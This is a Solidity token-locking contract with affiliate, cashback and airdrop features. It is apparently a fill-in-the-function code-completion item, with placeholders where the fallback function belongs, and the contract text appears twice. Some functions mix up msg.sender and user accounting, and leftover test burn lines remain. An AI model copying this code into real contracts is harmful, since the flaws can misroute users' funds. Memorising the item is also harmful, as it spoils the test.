_safes; // [07] -- > Struct safe database mapping(address => bool) public contractaddress; // [08] -- > Contract Address mapping (address => mapping (uint256 => uint256)) public Bigdata; /** Bigdata Mapping : [1] Percent (Monthly Unlocked tokens) [7] All Payments [13] Total TX Affiliate (Withdraw) [2] Holding Time (in seconds) [8] Active User [14] Current Price (USD) [3] Token Balance [9] Total User [15] ATH Price (USD) [4] Min Contribution [10] Total TX Hold [16] ATL Price (USD) [5] Max Contribution [11] Total TX Unlock [17] Current ETH Price (ETH) [6] All Contribution [12] Total TX Airdrop [18] Unique Code **/ mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics; // Statistics = [1] LifetimeContribution [2] LifetimePayments [3] Affiliatevault [4] Affiliateprofit [5] ActiveContribution // Airdrop - Hold Platform (HOLD) address public Holdplatform_address; // [01] uint256 public Holdplatform_balance; // [02] mapping(address => uint256) public Holdplatform_status; // [03] mapping(address => uint256) public Holdplatform_divider; // [04] /*============================== = CONSTRUCTOR = ==============================*/ constructor() public { idnumber = 500; Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e; //Change before deploy } /*============================== = AVAILABLE FOR EVERYONE = ==============================*/ //-------o Function 01 - Ethereum Payable function () public payable {<FILL_FUNCTION_BODY> } function tothemoon() public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothe_moon() private { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.user == msg.sender) { Unlocktoken(s.tokenAddress, s.id); } } } //-------o Function 02 - Cashback Code function CashbackCode(address _cashbackcode, uint256 uniquecode) public { require(_cashbackcode != msg.sender); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1 && Bigdata[_cashbackcode][18] != uniquecode ) { cashbackcode[msg.sender] = _cashbackcode; } else { cashbackcode[msg.sender] = EthereumNodes; } if (Bigdata[msg.sender][18] == 0 ) { Bigdata[msg.sender][18] = uniquecode; } emit onCashbackCode(msg.sender, _cashbackcode); } //-------o Function 03 - Contribute //--o 01 function Holdplatform(address tokenAddress, uint256 amount) public { require(amount >= 1 ); uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount); require(holdamount <= Bigdata[tokenAddress][5] ); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 ) { cashbackcode[msg.sender] = EthereumNodes; Bigdata[msg.sender][18] = 123456; } if (contractaddress[tokenAddress] == false) { revert(); } else { ERC20Interface token = ERC20Interface(tokenAddress); require(token.transferFrom(msg.sender, address(this), amount)); HodlTokens2(tokenAddress, amount); Airdrop(tokenAddress, amount, 1); } } //--o 02 function HodlTokens2(address ERC, uint256 amount) private { address ref = cashbackcode[msg.sender]; uint256 Burn = div(mul(amount, 2), 100); //test uint256 AvailableBalances = div(mul(amount, 72), 100); uint256 AvailableCashback = div(mul(amount, 16), 100); uint256 affcomission = div(mul(amount, 10), 100); //test uint256 nodecomission = div(mul(amount, 26), 100); //test ERC20Interface token = ERC20Interface(ERC); //test require(token.balanceOf(address(this)) >= Burn); //test token.transfer(0x0000000000000000000000000000000000000000, Burn); //test if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0 ) { AvailableCashback = 0; Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission); Bigdata[msg.sender][19] = 111; // Only Tracking ( Delete Before Deploy ) } else { Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission); Bigdata[msg.sender][19] = 222; // Only Tracking ( Delete Before Deploy ) } HodlTokens3(ERC, amount, AvailableBalances, AvailableCashback, ref); } //--o 04 function HodlTokens3(address ERC, uint256 amount, uint256 AvailableBalances, uint256 AvailableCashback, address ref) private { ERC20Interface token = ERC20Interface(ERC); uint256 TokenPercent = Bigdata[ERC][1]; uint256 TokenHodlTime = Bigdata[ERC][2]; uint256 HodlTime = add(now, TokenHodlTime); uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback; amount = 0; AvailableBalances = 0; AvailableCashback = 0; _safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false); Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM); Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM); Bigdata[ERC][6] = add(Bigdata[ERC][6], AM); Bigdata[ERC][3] = add(Bigdata[ERC][3], AM); if(Bigdata[msg.sender][8] == 1 ) { idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; } else { afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; } Bigdata[msg.sender][8] = 1; emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime); } //-------o Function 05 - Claim Token That Has Been Unlocked function Unlocktoken(address tokenAddress, uint256 id) public { require(tokenAddress != 0x0); require(id != 0); Safe storage s = _safes[id]; require(s.user == msg.sender); require(s.tokenAddress == tokenAddress); if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); } } //--o 01 function UnlockToken2(address ERC, uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = s.amountbalance; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; if(s.endtime < now){ //--o Hold Complete uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance); Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount); s.lastwithdraw = amounttransfer; s.amountbalance = 0; s.lasttime = now; PayToken(s.user, s.tokenAddress, amounttransfer); if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) { s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88); } else { s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72); } s.cashbackbalance = 0; emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); } else { UnlockToken3(ERC, s.id); } } //--o 02 function UnlockToken3(address ERC, uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 timeframe = sub(now, s.lasttime); uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000); // 2592000 = seconds30days //--o = s.amount * s.percentage / 100 * timeframe / seconds30days ; uint256 MaxWithdraw = div(s.amount, 10); //--o Maximum withdraw before unlocked, Max 10% Accumulation if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; } //--o Maximum withdraw = User Amount Balance if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; } uint256 realAmount = add(s.cashbackbalance, realAmount1); uint256 newamountbalance = sub(s.amountbalance, realAmount1); s.cashbackbalance = 0; s.amountbalance = newamountbalance; s.lastwithdraw = realAmount; s.lasttime = now; UnlockToken4(ERC, id, newamountbalance, realAmount); } //--o 03 function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = realAmount; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ; uint256 maxcashback = div(mul(s.amount, 16), 100) ; uint256 sid = s.id; if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid ) { uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ; }else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;} uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ; s.tokenreceive = tokenreceived; s.percentagereceive = percentagereceived; PayToken(s.user, s.tokenAddress, realAmount); emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(s.tokenAddress, realAmount, 4); } //--o Pay Token function PayToken(address user, address tokenAddress, uint256 amount) private { ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][11]++; } //-------o Function 05 - Airdrop function Airdrop(address tokenAddress, uint256 amount, uint256 extradivider) private { if (Holdplatform_status[tokenAddress] == 1) { require(Holdplatform_balance > 0 ); uint256 divider = Holdplatform_divider[tokenAddress]; uint256 airdrop = div(div(amount, divider), extradivider); address airdropaddress = Holdplatform_address; ERC20Interface token = ERC20Interface(airdropaddress); token.transfer(msg.sender, airdrop); Holdplatform_balance = sub(Holdplatform_balance, airdrop); Bigdata[tokenAddress][12]++; emit onReceiveAirdrop(msg.sender, airdrop, now); } } //-------o Function 06 - Get How Many Contribute ? function GetUserSafesLength(address hodler) public view returns (uint256 length) { return idaddress[hodler].length; } //-------o Function 07 - Get How Many Affiliate ? function GetTotalAffiliate(address hodler) public view returns (uint256 length) { return afflist[hodler].length; } //-------o Function 08 - Get complete data from each user function GetSafe(uint256 _id) public view returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive) { Safe storage s = _safes[_id]; return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive); } //-------o Function 09 - Withdraw Affiliate Bonus function WithdrawAffiliate(address user, address tokenAddress) public { require(tokenAddress != 0x0); require(Statistics[user][tokenAddress][3] > 0 ); uint256 amount = Statistics[msg.sender][tokenAddress][3]; Statistics[msg.sender][tokenAddress][3] = 0; Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); uint256 eventAmount = amount; address eventTokenAddress = tokenAddress; string memory eventTokenSymbol = ContractSymbol[tokenAddress]; ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][13]++; emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(tokenAddress, amount, 4); } /*============================== = RESTRICTED = ==============================*/ //-------o 01 Add Contract Address function AddContractAddress(address tokenAddress, uint256 CurrentUSDprice, uint256 CurrentETHprice, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted { uint256 newSpeed = _PercentPermonth; require(newSpeed >= 3 && newSpeed <= 12); Bigdata[tokenAddress][1] = newSpeed; ContractSymbol[tokenAddress] = _ContractSymbol; Bigdata[tokenAddress][5] = _maxcontribution; uint256 _HodlingTime = mul(div(72, newSpeed), 30); uint256 HodlTime = _HodlingTime * 1 days; Bigdata[tokenAddress][2] = HodlTime; Bigdata[tokenAddress][14] = CurrentUSDprice; Bigdata[tokenAddress][17] = CurrentETHprice; contractaddress[tokenAddress] = true; } //-------o 02 - Update Token Price (USD) function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted { if (Currentprice > 0 ) { Bigdata[tokenAddress][14] = Currentprice; } if (ATHprice > 0 ) { Bigdata[tokenAddress][15] = ATHprice; } if (ATLprice > 0 ) { Bigdata[tokenAddress][16] = ATLprice; } if (ETHprice > 0 ) { Bigdata[tokenAddress][17] = ETHprice; } } //-------o 03 Hold Platform function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider) public restricted { require(HPM_status == 0 || HPM_status == 1 ); Holdplatform_status[tokenAddress] = HPM_status; Holdplatform_divider[tokenAddress] = HPM_divider; // Airdrop = 100% : Divider } //--o Deposit function Holdplatform_Deposit(uint256 amount) restricted public { require(amount > 0 ); ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.transferFrom(msg.sender, address(this), amount)); uint256 newbalance = add(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; emit onHOLDdeposit(msg.sender, amount, newbalance, now); } //--o Withdraw function Holdplatform_Withdraw(uint256 amount) restricted public { require(Holdplatform_balance > 0 && amount <= Holdplatform_balance); uint256 newbalance = sub(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.balanceOf(address(this)) >= amount); token.transfer(msg.sender, amount); emit onHOLDwithdraw(msg.sender, amount, newbalance, now); } //-------o 04 - Return All Tokens To Their Respective Addresses function ReturnAllTokens() restricted public { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.id != 0) { if(s.amountbalance > 0) { uint256 amount = add(s.amountbalance, s.cashbackbalance); PayToken(s.user, s.tokenAddress, amount); s.amountbalance = 0; s.cashbackbalance = 0; Statistics[s.user][s.tokenAddress][5] = 0; } } } } /*============================== = SAFE MATH FUNCTIONS = ==============================*/ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } }
contract ldoh is EthereumSmartContract { /*============================== = EVENTS = ==============================*/ event onCashbackCode (address indexed hodler, address cashbackcode); event onAffiliateBonus (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onHoldplatform (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onUnlocktoken (address indexed hodler, address indexed tokenAddress, string tokenSymbol, uint256 amount, uint256 endtime); event onReceiveAirdrop (address indexed hodler, uint256 amount, uint256 datetime); event onHOLDdeposit (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); event onHOLDwithdraw (address indexed hodler, uint256 amount, uint256 newbalance, uint256 datetime); /*============================== = VARIABLES = ==============================*/ //-------o Affiliate = 12% o-------o Cashback = 16% o-------o Total Receive = 88% o-------o Without Cashback = 72% o-------o //-------o Hold 24 Months, Unlock 3% Permonth // Struct Database struct Safe { uint256 id; // [01] -- > Registration Number uint256 amount; // [02] -- > Total amount of contribution to this transaction uint256 endtime; // [03] -- > The Expiration Of A Hold Platform Based On Unix Time address user; // [04] -- > The ETH address that you are using address tokenAddress; // [05] -- > The Token Contract Address That You Are Using string tokenSymbol; // [06] -- > The Token Symbol That You Are Using uint256 amountbalance; // [07] -- > 88% from Contribution / 72% Without Cashback uint256 cashbackbalance; // [08] -- > 16% from Contribution / 0% Without Cashback uint256 lasttime; // [09] -- > The Last Time You Withdraw Based On Unix Time uint256 percentage; // [10] -- > The percentage of tokens that are unlocked every month ( Default = 3% ) uint256 percentagereceive; // [11] -- > The Percentage You Have Received uint256 tokenreceive; // [12] -- > The Number Of Tokens You Have Received uint256 lastwithdraw; // [13] -- > The Last Amount You Withdraw address referrer; // [14] -- > Your ETH referrer address bool cashbackstatus; // [15] -- > Cashback Status } uint256 private idnumber; // [01] -- > ID number ( Start from 500 ) uint256 public TotalUser; // [02] -- > Total Smart Contract User mapping(address => address) public cashbackcode; // [03] -- > Cashback Code mapping(address => uint256[]) public idaddress; // [04] -- > Search Address by ID mapping(address => address[]) public afflist; // [05] -- > Affiliate List by ID mapping(address => string) public ContractSymbol; // [06] -- > Contract Address Symbol mapping(uint256 => Safe) private _safes; // [07] -- > Struct safe database mapping(address => bool) public contractaddress; // [08] -- > Contract Address mapping (address => mapping (uint256 => uint256)) public Bigdata; /** Bigdata Mapping : [1] Percent (Monthly Unlocked tokens) [7] All Payments [13] Total TX Affiliate (Withdraw) [2] Holding Time (in seconds) [8] Active User [14] Current Price (USD) [3] Token Balance [9] Total User [15] ATH Price (USD) [4] Min Contribution [10] Total TX Hold [16] ATL Price (USD) [5] Max Contribution [11] Total TX Unlock [17] Current ETH Price (ETH) [6] All Contribution [12] Total TX Airdrop [18] Unique Code **/ mapping (address => mapping (address => mapping (uint256 => uint256))) public Statistics; // Statistics = [1] LifetimeContribution [2] LifetimePayments [3] Affiliatevault [4] Affiliateprofit [5] ActiveContribution // Airdrop - Hold Platform (HOLD) address public Holdplatform_address; // [01] uint256 public Holdplatform_balance; // [02] mapping(address => uint256) public Holdplatform_status; // [03] mapping(address => uint256) public Holdplatform_divider; // [04] /*============================== = CONSTRUCTOR = ==============================*/ constructor() public { idnumber = 500; Holdplatform_address = 0x23bAdee11Bf49c40669e9b09035f048e9146213e; //Change before deploy } <FILL_FUNCTION> function tothemoon() public payable { if (msg.value == 0) { tothe_moon(); } else { revert(); } } function tothe_moon() private { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.user == msg.sender) { Unlocktoken(s.tokenAddress, s.id); } } } //-------o Function 02 - Cashback Code function CashbackCode(address _cashbackcode, uint256 uniquecode) public { require(_cashbackcode != msg.sender); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 && Bigdata[_cashbackcode][8] == 1 && Bigdata[_cashbackcode][18] != uniquecode ) { cashbackcode[msg.sender] = _cashbackcode; } else { cashbackcode[msg.sender] = EthereumNodes; } if (Bigdata[msg.sender][18] == 0 ) { Bigdata[msg.sender][18] = uniquecode; } emit onCashbackCode(msg.sender, _cashbackcode); } //-------o Function 03 - Contribute //--o 01 function Holdplatform(address tokenAddress, uint256 amount) public { require(amount >= 1 ); uint256 holdamount = add(Statistics[msg.sender][tokenAddress][5], amount); require(holdamount <= Bigdata[tokenAddress][5] ); if (cashbackcode[msg.sender] == 0x0000000000000000000000000000000000000000 ) { cashbackcode[msg.sender] = EthereumNodes; Bigdata[msg.sender][18] = 123456; } if (contractaddress[tokenAddress] == false) { revert(); } else { ERC20Interface token = ERC20Interface(tokenAddress); require(token.transferFrom(msg.sender, address(this), amount)); HodlTokens2(tokenAddress, amount); Airdrop(tokenAddress, amount, 1); } } //--o 02 function HodlTokens2(address ERC, uint256 amount) private { address ref = cashbackcode[msg.sender]; uint256 Burn = div(mul(amount, 2), 100); //test uint256 AvailableBalances = div(mul(amount, 72), 100); uint256 AvailableCashback = div(mul(amount, 16), 100); uint256 affcomission = div(mul(amount, 10), 100); //test uint256 nodecomission = div(mul(amount, 26), 100); //test ERC20Interface token = ERC20Interface(ERC); //test require(token.balanceOf(address(this)) >= Burn); //test token.transfer(0x0000000000000000000000000000000000000000, Burn); //test if (ref == EthereumNodes && Bigdata[msg.sender][8] == 0 ) { AvailableCashback = 0; Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], nodecomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], nodecomission); Bigdata[msg.sender][19] = 111; // Only Tracking ( Delete Before Deploy ) } else { Statistics[ref][ERC][3] = add(Statistics[ref][ERC][3], affcomission); Statistics[ref][ERC][4] = add(Statistics[ref][ERC][4], affcomission); Bigdata[msg.sender][19] = 222; // Only Tracking ( Delete Before Deploy ) } HodlTokens3(ERC, amount, AvailableBalances, AvailableCashback, ref); } //--o 04 function HodlTokens3(address ERC, uint256 amount, uint256 AvailableBalances, uint256 AvailableCashback, address ref) private { ERC20Interface token = ERC20Interface(ERC); uint256 TokenPercent = Bigdata[ERC][1]; uint256 TokenHodlTime = Bigdata[ERC][2]; uint256 HodlTime = add(now, TokenHodlTime); uint256 AM = amount; uint256 AB = AvailableBalances; uint256 AC = AvailableCashback; amount = 0; AvailableBalances = 0; AvailableCashback = 0; _safes[idnumber] = Safe(idnumber, AM, HodlTime, msg.sender, ERC, token.symbol(), AB, AC, now, TokenPercent, 0, 0, 0, ref, false); Statistics[msg.sender][ERC][1] = add(Statistics[msg.sender][ERC][1], AM); Statistics[msg.sender][ERC][5] = add(Statistics[msg.sender][ERC][5], AM); Bigdata[ERC][6] = add(Bigdata[ERC][6], AM); Bigdata[ERC][3] = add(Bigdata[ERC][3], AM); if(Bigdata[msg.sender][8] == 1 ) { idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][10]++; } else { afflist[ref].push(msg.sender); idaddress[msg.sender].push(idnumber); idnumber++; Bigdata[ERC][9]++; Bigdata[ERC][10]++; TotalUser++; } Bigdata[msg.sender][8] = 1; emit onHoldplatform(msg.sender, ERC, token.symbol(), AM, HodlTime); } //-------o Function 05 - Claim Token That Has Been Unlocked function Unlocktoken(address tokenAddress, uint256 id) public { require(tokenAddress != 0x0); require(id != 0); Safe storage s = _safes[id]; require(s.user == msg.sender); require(s.tokenAddress == tokenAddress); if (s.amountbalance == 0) { revert(); } else { UnlockToken2(tokenAddress, id); } } //--o 01 function UnlockToken2(address ERC, uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = s.amountbalance; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; if(s.endtime < now){ //--o Hold Complete uint256 amounttransfer = add(s.amountbalance, s.cashbackbalance); Statistics[msg.sender][ERC][5] = sub(Statistics[s.user][s.tokenAddress][5], s.amount); s.lastwithdraw = amounttransfer; s.amountbalance = 0; s.lasttime = now; PayToken(s.user, s.tokenAddress, amounttransfer); if(s.cashbackbalance > 0 && s.cashbackstatus == false || s.cashbackstatus == true) { s.tokenreceive = div(mul(s.amount, 88), 100) ; s.percentagereceive = mul(1000000000000000000, 88); } else { s.tokenreceive = div(mul(s.amount, 72), 100) ; s.percentagereceive = mul(1000000000000000000, 72); } s.cashbackbalance = 0; emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); } else { UnlockToken3(ERC, s.id); } } //--o 02 function UnlockToken3(address ERC, uint256 id) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 timeframe = sub(now, s.lasttime); uint256 CalculateWithdraw = div(mul(div(mul(s.amount, s.percentage), 100), timeframe), 2592000); // 2592000 = seconds30days //--o = s.amount * s.percentage / 100 * timeframe / seconds30days ; uint256 MaxWithdraw = div(s.amount, 10); //--o Maximum withdraw before unlocked, Max 10% Accumulation if (CalculateWithdraw > MaxWithdraw) { uint256 MaxAccumulation = MaxWithdraw; } else { MaxAccumulation = CalculateWithdraw; } //--o Maximum withdraw = User Amount Balance if (MaxAccumulation > s.amountbalance) { uint256 realAmount1 = s.amountbalance; } else { realAmount1 = MaxAccumulation; } uint256 realAmount = add(s.cashbackbalance, realAmount1); uint256 newamountbalance = sub(s.amountbalance, realAmount1); s.cashbackbalance = 0; s.amountbalance = newamountbalance; s.lastwithdraw = realAmount; s.lasttime = now; UnlockToken4(ERC, id, newamountbalance, realAmount); } //--o 03 function UnlockToken4(address ERC, uint256 id, uint256 newamountbalance, uint256 realAmount) private { Safe storage s = _safes[id]; require(s.id != 0); require(s.tokenAddress == ERC); uint256 eventAmount = realAmount; address eventTokenAddress = s.tokenAddress; string memory eventTokenSymbol = s.tokenSymbol; uint256 tokenaffiliate = div(mul(s.amount, 12), 100) ; uint256 maxcashback = div(mul(s.amount, 16), 100) ; uint256 sid = s.id; if (cashbackcode[msg.sender] == EthereumNodes && idaddress[msg.sender][0] == sid ) { uint256 tokenreceived = sub(sub(sub(s.amount, tokenaffiliate), maxcashback), newamountbalance) ; }else { tokenreceived = sub(sub(s.amount, tokenaffiliate), newamountbalance) ;} uint256 percentagereceived = div(mul(tokenreceived, 100000000000000000000), s.amount) ; s.tokenreceive = tokenreceived; s.percentagereceive = percentagereceived; PayToken(s.user, s.tokenAddress, realAmount); emit onUnlocktoken(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(s.tokenAddress, realAmount, 4); } //--o Pay Token function PayToken(address user, address tokenAddress, uint256 amount) private { ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); Statistics[msg.sender][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][11]++; } //-------o Function 05 - Airdrop function Airdrop(address tokenAddress, uint256 amount, uint256 extradivider) private { if (Holdplatform_status[tokenAddress] == 1) { require(Holdplatform_balance > 0 ); uint256 divider = Holdplatform_divider[tokenAddress]; uint256 airdrop = div(div(amount, divider), extradivider); address airdropaddress = Holdplatform_address; ERC20Interface token = ERC20Interface(airdropaddress); token.transfer(msg.sender, airdrop); Holdplatform_balance = sub(Holdplatform_balance, airdrop); Bigdata[tokenAddress][12]++; emit onReceiveAirdrop(msg.sender, airdrop, now); } } //-------o Function 06 - Get How Many Contribute ? function GetUserSafesLength(address hodler) public view returns (uint256 length) { return idaddress[hodler].length; } //-------o Function 07 - Get How Many Affiliate ? function GetTotalAffiliate(address hodler) public view returns (uint256 length) { return afflist[hodler].length; } //-------o Function 08 - Get complete data from each user function GetSafe(uint256 _id) public view returns (uint256 id, address user, address tokenAddress, uint256 amount, uint256 endtime, string tokenSymbol, uint256 amountbalance, uint256 cashbackbalance, uint256 lasttime, uint256 percentage, uint256 percentagereceive, uint256 tokenreceive) { Safe storage s = _safes[_id]; return(s.id, s.user, s.tokenAddress, s.amount, s.endtime, s.tokenSymbol, s.amountbalance, s.cashbackbalance, s.lasttime, s.percentage, s.percentagereceive, s.tokenreceive); } //-------o Function 09 - Withdraw Affiliate Bonus function WithdrawAffiliate(address user, address tokenAddress) public { require(tokenAddress != 0x0); require(Statistics[user][tokenAddress][3] > 0 ); uint256 amount = Statistics[msg.sender][tokenAddress][3]; Statistics[msg.sender][tokenAddress][3] = 0; Bigdata[tokenAddress][3] = sub(Bigdata[tokenAddress][3], amount); Bigdata[tokenAddress][7] = add(Bigdata[tokenAddress][7], amount); uint256 eventAmount = amount; address eventTokenAddress = tokenAddress; string memory eventTokenSymbol = ContractSymbol[tokenAddress]; ERC20Interface token = ERC20Interface(tokenAddress); require(token.balanceOf(address(this)) >= amount); token.transfer(user, amount); Statistics[user][tokenAddress][2] = add(Statistics[user][tokenAddress][2], amount); Bigdata[tokenAddress][13]++; emit onAffiliateBonus(msg.sender, eventTokenAddress, eventTokenSymbol, eventAmount, now); Airdrop(tokenAddress, amount, 4); } /*============================== = RESTRICTED = ==============================*/ //-------o 01 Add Contract Address function AddContractAddress(address tokenAddress, uint256 CurrentUSDprice, uint256 CurrentETHprice, uint256 _maxcontribution, string _ContractSymbol, uint256 _PercentPermonth) public restricted { uint256 newSpeed = _PercentPermonth; require(newSpeed >= 3 && newSpeed <= 12); Bigdata[tokenAddress][1] = newSpeed; ContractSymbol[tokenAddress] = _ContractSymbol; Bigdata[tokenAddress][5] = _maxcontribution; uint256 _HodlingTime = mul(div(72, newSpeed), 30); uint256 HodlTime = _HodlingTime * 1 days; Bigdata[tokenAddress][2] = HodlTime; Bigdata[tokenAddress][14] = CurrentUSDprice; Bigdata[tokenAddress][17] = CurrentETHprice; contractaddress[tokenAddress] = true; } //-------o 02 - Update Token Price (USD) function TokenPrice(address tokenAddress, uint256 Currentprice, uint256 ATHprice, uint256 ATLprice, uint256 ETHprice) public restricted { if (Currentprice > 0 ) { Bigdata[tokenAddress][14] = Currentprice; } if (ATHprice > 0 ) { Bigdata[tokenAddress][15] = ATHprice; } if (ATLprice > 0 ) { Bigdata[tokenAddress][16] = ATLprice; } if (ETHprice > 0 ) { Bigdata[tokenAddress][17] = ETHprice; } } //-------o 03 Hold Platform function Holdplatform_Airdrop(address tokenAddress, uint256 HPM_status, uint256 HPM_divider) public restricted { require(HPM_status == 0 || HPM_status == 1 ); Holdplatform_status[tokenAddress] = HPM_status; Holdplatform_divider[tokenAddress] = HPM_divider; // Airdrop = 100% : Divider } //--o Deposit function Holdplatform_Deposit(uint256 amount) restricted public { require(amount > 0 ); ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.transferFrom(msg.sender, address(this), amount)); uint256 newbalance = add(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; emit onHOLDdeposit(msg.sender, amount, newbalance, now); } //--o Withdraw function Holdplatform_Withdraw(uint256 amount) restricted public { require(Holdplatform_balance > 0 && amount <= Holdplatform_balance); uint256 newbalance = sub(Holdplatform_balance, amount) ; Holdplatform_balance = newbalance; ERC20Interface token = ERC20Interface(Holdplatform_address); require(token.balanceOf(address(this)) >= amount); token.transfer(msg.sender, amount); emit onHOLDwithdraw(msg.sender, amount, newbalance, now); } //-------o 04 - Return All Tokens To Their Respective Addresses function ReturnAllTokens() restricted public { for(uint256 i = 1; i < idnumber; i++) { Safe storage s = _safes[i]; if (s.id != 0) { if(s.amountbalance > 0) { uint256 amount = add(s.amountbalance, s.cashbackbalance); PayToken(s.user, s.tokenAddress, amount); s.amountbalance = 0; s.cashbackbalance = 0; Statistics[s.user][s.tokenAddress][5] = 0; } } } } /*============================== = SAFE MATH FUNCTIONS = ==============================*/ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } 